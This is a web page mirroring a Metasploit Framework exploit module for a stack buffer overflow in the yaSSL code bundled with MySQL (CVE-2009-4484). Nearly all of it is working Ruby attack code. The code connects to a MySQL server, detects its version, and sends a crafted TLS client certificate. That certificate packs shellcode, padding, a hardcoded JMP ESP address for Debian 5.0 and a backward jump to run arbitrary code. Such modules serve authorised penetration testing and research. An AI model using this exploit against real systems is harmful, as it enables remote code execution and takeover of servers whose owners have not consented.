Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/mysql/mysql_yassl_getname.rb
19715 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'MySQL yaSSL CertDecoder::GetName Buffer Overflow',
17
'Description' => %q{
18
This module exploits a stack buffer overflow in the yaSSL (1.9.8 and earlier)
19
implementation bundled with MySQL. By sending a specially crafted
20
client certificate, an attacker can execute arbitrary code.
21
22
This vulnerability is present within the CertDecoder::GetName function inside
23
"taocrypt/src/asn.cpp". However, the stack buffer that is written to exists
24
within a parent function's stack frame.
25
26
NOTE: This vulnerability requires a non-default configuration. First, the attacker
27
must be able to pass the host-based authentication. Next, the server must be
28
configured to listen on an accessible network interface. Lastly, the server
29
must have been manually configured to use SSL.
30
31
The binary from version 5.5.0-m2 was built with /GS and /SafeSEH. During testing
32
on Windows XP SP3, these protections successfully prevented exploitation.
33
34
Testing was also done with mysql on Ubuntu 9.04. Although the vulnerable code is
35
present, both version 5.5.0-m2 built from source and version 5.0.75 from a binary
36
package were not exploitable due to the use of the compiler's FORTIFY feature.
37
38
Although suse11 was mentioned in the original blog post, the binary package they
39
provide does not contain yaSSL or support SSL.
40
},
41
'Author' => [ 'jduck' ],
42
'License' => MSF_LICENSE,
43
'References' => [
44
[ 'CVE', '2009-4484' ],
45
[ 'BID', '37640' ],
46
[ 'BID', '37943' ],
47
[ 'BID', '37974' ],
48
[ 'OSVDB', '61956' ],
49
[ 'URL', 'http://web.archive.org/web/20100129041727/http://secunia.com:80/advisories/38344/' ]
50
],
51
'Privileged' => true,
52
'DefaultOptions' => {
53
'EXITFUNC' => 'thread',
54
},
55
'Payload' => {
56
'Space' => 1046,
57
'BadChars' => "",
58
'StackAdjustment' => -3500,
59
'DisableNops' => true
60
},
61
'Platform' => 'linux',
62
'Targets' => [
63
[ 'Automatic', {} ],
64
[ 'Debian 5.0 - MySQL (5.0.51a-24+lenny2)', { 'JmpEsp' => 0x0807dc34 } ]
65
],
66
'DefaultTarget' => 0,
67
'DisclosureDate' => '2010-01-25',
68
'Notes' => {
69
'Reliability' => UNKNOWN_RELIABILITY,
70
'Stability' => UNKNOWN_STABILITY,
71
'SideEffects' => UNKNOWN_SIDE_EFFECTS
72
}
73
)
74
)
75
76
register_options([ Opt::RPORT(3306) ], self)
77
end
78
79
def exploit
80
connect
81
82
# read the mysql server hello :)
83
version = nil
84
if (buf = sock.get_once(-1, 5) || '')
85
# print_status("\n" + Rex::Text.to_hex_dump(buf))
86
if (buf =~ /is not allowed to connect/)
87
fail_with(Failure::Unreachable, 'The server refused our connection!')
88
end
89
90
len1, cmd = buf[0, 5].unpack('VC')
91
rest = buf[5, len1]
92
idx = rest.index("\x00")
93
if (idx)
94
version = rest[0, idx]
95
print_status("Server reports version: #{version}")
96
end
97
end
98
99
# handle automatic target selection
100
mytarget = nil
101
if (target.name =~ /Automatic/)
102
print_status("Attempting to locate a corresponding target")
103
version = "(" + version + ")"
104
targets.each { |tgt|
105
if (tgt.name.include?(version))
106
mytarget = tgt
107
end
108
}
109
110
if (not mytarget)
111
fail_with(Failure::NoTarget, 'Unable to detect target automatically')
112
else
113
print_status("Using automatically detected target: #{mytarget.name}")
114
end
115
else
116
mytarget = target
117
print_status("Trying target #{mytarget.name}...")
118
end
119
120
# create/send the hello packet
121
hello = [0x01000020].pack('V')
122
hello << "\x85\xae\x03\x00" + "\x00\x00\x00\x01" + "\x08\x00\x00\x00"
123
hello << "\x00" * 20
124
hello << "\x16\x03\x01\x00\x60\x01\x00\x00\x5c\x03\x01\x4a\x92\xce\xd1\xe1"
125
hello << "\xab\x48\x51\xc8\x49\xa3\x5e\x97\x1a\xea\xc2\x99\x82\x33\x42\xd5"
126
hello << "\x14\xbc\x05\x64\xdc\xb5\x48\xbd\x4c\x11\x55\x00\x00\x34\x00\x39"
127
hello << "\x00\x38\x00\x35\x00\x16\x00\x13\x00\x0a\x00\x33\x00\x32\x00\x2f"
128
hello << "\x00\x66\x00\x05\x00\x04\x00\x63\x00\x62\x00\x61\x00\x15\x00\x12"
129
hello << "\x00\x09\x00\x65\x00\x64\x00\x60\x00\x14\x00\x11\x00\x08\x00\x06"
130
hello << "\x00\x03\x02\x01\x00"
131
sock.put(hello)
132
133
# build a cn that will trigger the vulnerability
134
cn = rand_text(payload_space - payload.encoded.length)
135
cn << payload.encoded
136
cn << [0, 0].pack('VV') # memset(x,0,0); (this is x and the length)
137
# NOTE: x in above (also gets passed to free())
138
pad = 1074 - payload_space
139
cn << rand_text(pad)
140
cn << [mytarget['JmpEsp']].pack('V')
141
distance = 4 + pad + 8 + payload.encoded.length
142
cn << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
143
144
cert = "\x2a\x86\x00\x84"
145
cert << [cn.length].pack('N')
146
cert << cn
147
cert = "\x30" +
148
"\x82\x01\x01" +
149
"\x31" +
150
"\x82\x01\x01" +
151
"\x30" +
152
"\x82\x01\x01" +
153
"\x06" +
154
"\x82\x00\x02" +
155
cert
156
157
cert = "\xa0\x03" +
158
"\x02\x01\x02" +
159
"\x02\x01\x00" +
160
"\x30" + "\x0d" + "\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x04\x05\x00" +
161
cert
162
163
# wrap in 2 sequences
164
cert = SNMP::BER.encode_tlv(0x30, cert)
165
cert = SNMP::BER.encode_tlv(0x30, cert)
166
167
cert1 = big_endian_24bit(cert.length) + cert
168
certs = big_endian_24bit(cert1.length) + cert1
169
170
handshake = "\x0b" + big_endian_24bit(certs.length) + certs
171
msg = "\x16\x03\x01"
172
msg << [handshake.length].pack('n')
173
msg << handshake
174
175
sock.put(msg)
176
177
handler
178
disconnect
179
end
180
181
def big_endian_24bit(len)
182
uno = (len >> 16) & 0xff
183
dos = (len >> 8) & 0xff
184
tre = len & 0xff
185
[uno, dos, tre].pack('C*')
186
end
187
end
188
189